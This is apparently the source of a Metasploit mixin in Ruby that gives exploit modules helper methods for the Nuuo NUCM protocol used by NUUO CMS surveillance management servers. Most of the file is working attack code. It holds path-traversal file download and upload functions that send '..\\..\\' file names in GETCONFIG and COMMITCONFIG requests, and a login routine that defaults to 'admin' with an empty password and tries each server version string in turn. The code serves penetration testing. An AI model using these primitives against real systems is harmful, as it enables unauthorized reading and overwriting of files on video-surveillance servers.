197 lines
5.0 KiB
Ruby
197 lines
5.0 KiB
Ruby
require 'msf/core/exploit/tcp'
|
|
|
|
###
|
|
#
|
|
# This module exposes methods that may be useful to exploits that deal with
|
|
# servers that speak Nuuo NUCM protocol for their devices and management software.
|
|
#
|
|
###
|
|
module Msf
|
|
module Exploit::Remote::Nuuo
|
|
include Exploit::Remote::Tcp
|
|
|
|
#
|
|
# Creates an instance of an Nuuo exploit module.
|
|
#
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Author' =>
|
|
[
|
|
'Pedro Ribeiro <pedrib@gmail.com>'
|
|
],
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RHOST,
|
|
Opt::RPORT(5180),
|
|
OptString.new('SESSION', [false, 'Session number of logged in user']),
|
|
OptString.new('USERNAME', [false, 'Username to login as', 'admin']),
|
|
OptString.new('PASSWORD', [false, 'Password for the specified user', '']),
|
|
], Msf::Exploit::Remote::Nuuo)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('PROTOCOL', [ true, 'Nuuo protocol', 'NUCM/1.0']),
|
|
])
|
|
|
|
@nucs_session = nil
|
|
|
|
# All NUCS versions at time of release
|
|
# Note that these primitives are not guaranteed to work in all versions
|
|
# Add new version strings here
|
|
# We need these to login;
|
|
# when requesting a USERLOGIN we need to send the same version as the server...
|
|
@nucs_versions =
|
|
[
|
|
"1.3.1",
|
|
"1.3.3",
|
|
"1.5.0",
|
|
"1.5.2",
|
|
"1.6.0",
|
|
"1.7.0",
|
|
"2.1.0",
|
|
"2.3.0",
|
|
"2.3.1",
|
|
"2.3.2",
|
|
"2.4.0",
|
|
"2.5.0",
|
|
"2.6.0",
|
|
"2.7.0",
|
|
"2.8.0",
|
|
"2.9.0",
|
|
"2.10.0",
|
|
"2.11.0",
|
|
"3.0.0",
|
|
"3.1.0",
|
|
"3.2.0",
|
|
"3.3.0",
|
|
"3.4.0",
|
|
"3.5.0"
|
|
]
|
|
|
|
@nucs_version = nil
|
|
end
|
|
|
|
|
|
##
|
|
# Sends a protocol message aynchronously - fire and forget
|
|
##
|
|
def nucs_send_msg_async(msg)
|
|
begin
|
|
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
|
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
|
|
sock.write(format_msg(msg))
|
|
# socket cannot be closed, it causes exploits to fail...
|
|
#sock.close
|
|
rescue
|
|
return
|
|
end
|
|
end
|
|
|
|
|
|
# Sends a protocol data message synchronously - sends and returns the result
|
|
# A data message is composed of two parts: first the message length and protocol headers,
|
|
# then the actual data, while a non-data message only contains the first part.
|
|
##
|
|
def nucs_send_msg(msg, data = nil)
|
|
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
|
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
|
|
sock.write(format_msg(msg))
|
|
if data != nil
|
|
sock.write(data.to_s)
|
|
end
|
|
res = sock.recv(4096)
|
|
more_data = ''
|
|
if res =~ /Content-Length:([0-9]+)/
|
|
data_sz = $1.to_i
|
|
recv = 0
|
|
while recv < data_sz
|
|
new_data = sock.recv(4096)
|
|
break if !new_data || new_data.length == 0
|
|
more_data << new_data
|
|
recv += new_data.length
|
|
end
|
|
end
|
|
# socket cannot be closed, it causes exploits to fail...
|
|
#sock.close
|
|
return [res, more_data]
|
|
rescue
|
|
return ['', '']
|
|
end
|
|
|
|
|
|
##
|
|
# Downloads a file from the CMS install root.
|
|
# Add the ZIP extraction and decryption routine once support for it is added to msf.
|
|
##
|
|
def nucs_download_file(filename, decrypt = false)
|
|
data = nucs_send_msg(["GETCONFIG", "FileName: ..\\..\\#{filename}", "FileType: 1"])
|
|
data[1]
|
|
end
|
|
|
|
|
|
##
|
|
# Uploads a file to the CMS install root.
|
|
##
|
|
def nucs_upload_file(filename, file_data)
|
|
data = nucs_send_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data)
|
|
if data[0] =~ /200/
|
|
true
|
|
else
|
|
false
|
|
end
|
|
end
|
|
|
|
# logs in to the NUCS server
|
|
# first, it tries to use the datastore SESSION if such exists
|
|
# if not, it then tries to login using the datastore USERNAME and PASSWORD
|
|
# In order to login properly, we need to guess the server version...
|
|
# ... so just try all of them until we hit the right one
|
|
def nucs_login
|
|
if datastore['SESSION'] != nil
|
|
# since we're logged in, we don't need to guess the version any more
|
|
@nucs_session = datastore['SESSION']
|
|
return
|
|
end
|
|
|
|
@nucs_versions.shuffle.each do |version|
|
|
@nucs_version = version
|
|
|
|
res = nucs_send_msg(
|
|
[
|
|
"USERLOGIN",
|
|
"Version: #{@nucs_version}",
|
|
"Username: #{datastore['USERNAME']}",
|
|
"Password-Length: #{datastore['PASSWORD'].length}",
|
|
"TimeZone-Length: 0"
|
|
],
|
|
datastore['PASSWORD']
|
|
)
|
|
|
|
if res[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/
|
|
@nucs_session = $1
|
|
break
|
|
end
|
|
end
|
|
end
|
|
|
|
private
|
|
##
|
|
# Formats the message we want to send into the correct protocol format
|
|
##
|
|
def format_msg(msg)
|
|
final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n"
|
|
for line in msg[1...msg.length]
|
|
final_msg += "#{line}\r\n"
|
|
end
|
|
if not final_msg =~ /USERLOGIN/
|
|
final_msg += "User-Session-No: #{@nucs_session}\r\n"
|
|
end
|
|
return final_msg + "\r\n"
|
|
end
|
|
|
|
end
|
|
|
|
end
|